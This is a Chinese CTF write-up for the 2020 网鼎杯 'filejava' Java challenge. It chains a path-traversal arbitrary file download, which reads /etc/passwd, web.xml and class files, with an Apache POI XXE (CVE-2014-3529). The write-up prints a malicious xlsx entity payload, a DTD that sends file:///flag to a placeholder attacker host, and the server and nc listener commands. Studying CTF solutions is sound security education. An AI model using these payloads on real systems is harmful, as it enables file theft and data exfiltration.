flag{网鼎杯之java代码审计入门} 网鼎杯 2020 青龙组 filejava

admin 2023年7月31日13:21:44评论31 views字数 2730阅读9分6秒阅读模式

01


赛题截图 

flag{网鼎杯之java代码审计入门}  网鼎杯 2020 青龙组 --filejava

02


接口测试


• 我们先上传文件抓包,发送到repeter

flag{网鼎杯之java代码审计入门}  网鼎杯 2020 青龙组 --filejava响应如下flag{网鼎杯之java代码审计入门}  网鼎杯 2020 青龙组 --filejava

• 我们使用下载接口去下载一个不存在的文件,显“资源被删除”

flag{网鼎杯之java代码审计入门}  网鼎杯 2020 青龙组 --filejava

03


任意文件下载验证


 测试一下下载文件夹

暴露了上传文件夹的绝对路径

flag{网鼎杯之java代码审计入门}  网鼎杯 2020 青龙组 --filejava

我们来推测下/etc/passwd文件路径

1. 上传文件的路径为:/usr/local/tomcat/webapps/file_in_java/WEB-INF/upload/0/10/上传文件名2. 那/etc目录是跟/usr一层级的,上图有九层目录,应该回退九层:/usr/local/tomcat/webapps/file_in_java/WEB-INF/upload/0/10/../../../../../../../../../etc/passwd3. 则我们下载文件的参数应该为: ../../../../../../../../../etc/passwd

根据上面推理构造请求,成功获取/etc/passwd文件内容;yeah!!!

flag{网鼎杯之java代码审计入门}  网鼎杯 2020 青龙组 --filejava

有同学问了,拿到了/etc/passwd的文件内容有什么用,怎么才能getshell啊 

通过上面的一些测试,我们可以知道任意文件下载的漏洞存在该系统, 那我们只能看看能不能拿到源码审计看看了

• 通过暴露的上传文件存储的路径得知web服务器为tomcat

/usr/local/tomcat/webapps/file_in_java/WEB-INF/upload/0/10/

• 前置知识

Tomcat的web.xml是一个XML文件,用于配置Web应用程序的部署信息和其他相关配置。它通常位于Web应用程序的WEB-INF目录下。web.xml文件中包含了大量的配置信息,其中最重要的是Web应用程序的servlet、过滤器和监听器等组件的配置,是tomcat的核心配置文件。

• 读取web.xml文件,可以看到有三个接口类 

flag{网鼎杯之java代码审计入门}  网鼎杯 2020 青龙组 --filejava

• 根据tomca结构,我们知道class文件都在WEB-INF目录: 

构造路径../../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/具体类路径,成功获取文件内容

flag{网鼎杯之java代码审计入门}  网鼎杯 2020 青龙组 --filejava

•浏览器通过下载三个类文件,如下图所示flag{网鼎杯之java代码审计入门}  网鼎杯 2020 青龙组 --filejava



04


代码审计


idea打开这几个class文件,idea可以直接反编译

• 源代码审计

• 查找flag关键词,文件名只要包含flag字符就会被banflag{网鼎杯之java代码审计入门}  网鼎杯 2020 青龙组 --filejava

• 看看其他文件有没有能够下手的地方

ListFileServlet.class文件,只是返回保存的文件名作用,应该是通过上传接口完成之后调用的
flag{网鼎杯之java代码审计入门}  网鼎杯 2020 青龙组 --filejava
仅剩UploadServlet接口了,发现可疑的一段代码,里面提到了xlsx文件格式,好像做了不一样的处理。
让chatgpt给我们解释一下代码啥意思!
flag{网鼎杯之java代码审计入门}  网鼎杯 2020 青龙组 --filejava

• 首先说一句chatgpt真香啊!!! 

flag{网鼎杯之java代码审计入门}  网鼎杯 2020 青龙组 --filejava

关注图片标红部分,意思是说我们要通过一个excel-xx.xlsx文件利用apache poi库搞事情?



05


Apache POI库漏洞利用


Apache POI 简介是用Java编写的免费开源的跨平台的 Java API,Apache POI提供API给Java程式对Microsoft Office(Excel、WORD、PowerPoint、Visio等)格式档案读和写的功能

即然用到了POI库,那我们看看这个库是否有漏洞存在!代码中给出的POI库版本为3.10;是否有漏洞,google一下你就知道。

CVE-2014-3529   apache poi 在3.10.1之前存在XXE漏洞

• 复现CVE-2014-3529

1. 准备payload文件

新建一个excel文件并解压(linux unzip命令即可解压 ‘.xlsx’ 文件)

mkdir tmp_excel       //新建一个目录存放解压后的文件目录            touch 1.xlsx           //新建一个excel文件unzip 1.xlsx  -d tmp_excel      //解压到指定目录              cd tmp_excel                    //进入目录              ls                              //查看解压后的文件

解压后的效果如下图所示: flag{网鼎杯之java代码审计入门}  网鼎杯 2020 青龙组 --filejava

解压后在 [Content_Types].xml 文件中添加payload,(在第一句和第二句中间添加下面给出的payload)

payload解释

代码中的实体 remote 定义了一个外部实体,其系统标识符(System Identifier)为 "http://your-remote-ip/file.dtd"。然后,通过 %remote; 引用了这个实体,将其包含到当前XML文档中。然后通过该外部实体 %int;%send; 执行一些操作

 <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://you-remote-ip/file.dtd"> %remote;%int;%send; ]>

[Content_Types].xml 文件添加payload后效果如图所示

flag{网鼎杯之java代码审计入门}  网鼎杯 2020 青龙组 --filejava

打包回xlsx文件格式,根据前面的代码分析,根据前面代码审计我们还记得文件名得命名为excel-x.xlsx

zip excel-1.xlsx ./*
  2. 远程服务器准备一个file.dtd文件
<!ENTITY % file SYSTEM "file:///flag"><!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://your-ip:port?popko=%file;'>">

dtd文件解释

a. %file 定义了一个实体,通过 file:///flag 指定为一个文件路径。读取本地文件系统上的 flag 文件。

b. %int 定义了另一个实体,通过 http://your-ip:port?popko=%file; 将读取到的文件内容发送给指定的IP地址和端口,我们通过nc在该ip所在服务器上监听这里指定的端口。

文件最终想要实现的效果是读取 flag 文件,并将其内容发送到指定的服务器上。

3. 远程服务器80端口启动http服务,使通过http://your-remote-ip/file.dtd能访问到file.dtd资源

python3 -m http.server 80

4. nc监听端口,准备接受flag文件内容

nc -lvvnp port        //port为你file.dtd里指定的端口

5. 上传xlsx文件测试 flag{网鼎杯之java代码审计入门}  网鼎杯 2020 青龙组 --filejavahttp服务成功接收到file.dtd的请求flag{网鼎杯之java代码审计入门}  网鼎杯 2020 青龙组 --filejavanc成功收到flag文件的内容 flag{网鼎杯之java代码审计入门}  网鼎杯 2020 青龙组 --filejava

flag{网鼎杯之java代码审计入门}  网鼎杯 2020 青龙组 --filejava




06


总结

任意文件下载(读取)

Apache POI XXE

脚踏实地的每天进步一点点,不跟别人相比,只超越自己就够了。

 欢迎关注不懂安全 ⬇️



原文始发于微信公众号(黑伞安全):flag{网鼎杯之java代码审计入门} 网鼎杯 2020 青龙组 --filejava

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月31日13:21:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   flag{网鼎杯之java代码审计入门} 网鼎杯 2020 青龙组 filejavahttp://cn-sec.com/archives/1921293.html

发表评论

匿名网友 填写信息